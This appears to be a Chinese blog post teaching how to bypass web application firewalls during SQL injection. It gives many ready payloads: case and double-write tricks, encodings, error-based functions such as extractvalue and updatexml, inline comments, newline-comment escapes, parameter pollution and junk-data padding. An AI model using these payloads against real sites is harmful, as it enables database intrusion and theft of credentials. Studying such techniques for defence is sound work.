人类才是最大的bug
推文开头,先学习一下中华人民共和国网络安全法:
https://www.cto.ac.cn/thread-106.htm
本推文仅用于信息防御技术教学,请勿用于其他用途,有侵权或者存在危害性,请联系我进行删除。
在进行渗透测试的时候,是不是最怕看到这样的界面:
这就是waf,也就是网站防火墙,专业术语是Web应用防护系统,即Web Application Firewall。对于刚接触渗透测试的我来说,辛酸泪历史已经可以写成一本书了,书名叫“那些年拦截住我的waf”。
今天,为了让大家少走一些我的弯路,我特地为大家出一篇文章,教大家如何绕过waf。
首先对于我们来说,需要知道一点,对于网站来说,waf都是人写的,从来就没有绝对安全的网站,如果你觉得有的话,说明确实能力还不够!须知,学如逆水行舟,不进则退。
Waf对于我来说,也就是规则,通俗点就是这个结构:
If(xxx){
拦截!
}else{
通过
}
那么我们只需要让它同意我们的操作,即绕过了waf。
waf通常有以下绕过方法
01
大小写绕过
现在基本上遇不到了,不过也可以了解一下:
id=1 and UnIoN sElEcT 1,2,3id=1 OrDeR By 1
02
双写绕过
原理就是一些防护措施只进行一次,拦截删除一次之后就不删除了,可以通过双写关键字的方法绕过。
id=1 ununionion selselectect 1,2,3 删除一次--> union selectid=1 ororderder bbyy 1 删除一次--> order by
03
编码绕过
如果检测的是关键字,那么经过编码即可绕过。
URL全编码:http://web.chacuo.net/charseturlencode
十六进制:https://www.bejson.com/convert/ox2str/
ps:使用时需要在转换后的字符串前加0x,作为告诉数据库这里是十六进制的标识。这个方法用在不能使用引号时挺实用的。
04
基本符号替换
用&&替换and
用||替换or
用/**/替换空格
URL栏中用+替换空格
……
05
报错注入替换函数绕过
网站只检测一部分热门的函数,不检测一些冷门的函数。
全部以select user() 为例:
1.floor()
id = 1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)
2. extractvalue()
id = 1 and extractvalue(1, concat(0x7e,(select user())))
id = 1 and extractvalue(1,concat(char(126),database()))
3. updatexml()
id = 1 and updatexml(1,concat(0x7e,(select user()),0x7e),1)
4.exp()
exp(~(select * from(select user()))a))
5.总体可以归为一处的几个函数
5.1GeometryCollection()
id = 1 AND GeometryCollection((select * from (select * from(select user())a)b))
5.2polygon()
id =1 AND polygon((select * from(select * from(select user())a)b))
5.3multipoint()
id = 1 AND multipoint((select * from(select * from(select user())a)b))
5.4multilinestring()
id = 1 AND multilinestring((select * from(select * from(select user())a)b))
5.5linestring()
id = 1 AND LINESTRING((select * from(select * from(select user())a)b))
5.6multipolygon()
id =1 AND multipolygon((select * from(select * from(select user())a)b))
06
其他等价函数绕过
hex()、bin() ==> ascii()
benchmark() ==>sleep()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@database ==> database()
……
07
内联注释绕过
一般waf不会检测注释里面的内容,但是内联注释(/*!*/)与一般注释(/**/)不同的是,在注释里的代码会进行执行。
id=1/**//*! order*/+/*!by*/+1
08
%0a换行跳出单行注释绕过
这是我比较喜欢用的。
原理:数据库中对于#和--(空格)等注释后面的东西都进行忽略处理。
我们通过waf一般不会处理注释内的东西这一特性进行绕过,在%23(url解码为#)后面放%0a换行再放入执行语句,中间可以多次经过%23%0a进行绕过。ps:在%23和%0a中间可以随意加入字符,反正注释掉了。
Payload:
id=2%20+%231q%0AOrDeR%20%23adsf%0A%23%0ABy%201
id=-2%20+%231q%0AuNiOn%20all%23adsf%0A%23%0AsEleCt%201,2,3
09
利用一些中间件的缺陷
1.IIS+ASP
通过在关键词之间加%绕过。
id=1 and uni%on se%le%ct 1,2,3 from ad%min
2.IIS的Unicode编码
IIS支持Unicode编码,可以通过编码关键词进行绕过:
http://tool.chinaz.com/tools/unicode.aspx
3.HTTP参数污染
有的时候,浏览器对于这样的传参会出现以下情况:
Id=1 and id=2 --> 出现在服务器中,id=1,2
那么我们可以这样绕:
id=1 and union select username & id= password form admin==> id=1 and union select username, password form admin
对于这种参数重复传参的情况,不同环境有不同结果:
10
更换传参方式绕过
在有些情况下,因为$_REQUEST['id']的特性,我们可以将GET传参的id=1切换成POST传参,有些waf只针对了GET传参进行防御而忽略了其他传参方式。
11
利用数据提取方式的缺陷进行绕过
PHP+Apache中,在多参数传参的情况下,某些waf会对传参进行分开验证,我们可以通过分开传参加注释符进行绕过。
Example:
x=1&y=2&z=3 在某些waf中会被提取为:
x=1
y=2
z=3
payload:
id=1+union+/*&x=2*/+select/*&y=3*/+1,2,3+from+admin
waf检测方式为分别检测三个传参:
id=1+union+/*
x=2*/+select/*
y=3*/1,2,3+from+admin
数据库中,/**/中间的东西被过滤了,获得的传参为:
id=1+union++select+1,2,3+from+admin
12
脏数据绕过
有些waf检测传参数据是存在一定长度的,超出长度则不会进行检测,在被waf拦截之后,更改传参方式为POST,再通过在传参处放入大量无用数据绕过waf,详情可以查看链接
https://cloud.tencent.com/developer/article/1592593
绕过waf的技巧网上有很多,我这里简要列举了一些,希望能够对大家有所帮助。
最后再说一句:
本推文仅用于信息防御技术教学,请勿用于其他用途,若有侵权或者存在危害性,请联系我进行删除。
文章内容来源于网络
作者:ajie
END
有问题随时私聊
微信号:zjj19980203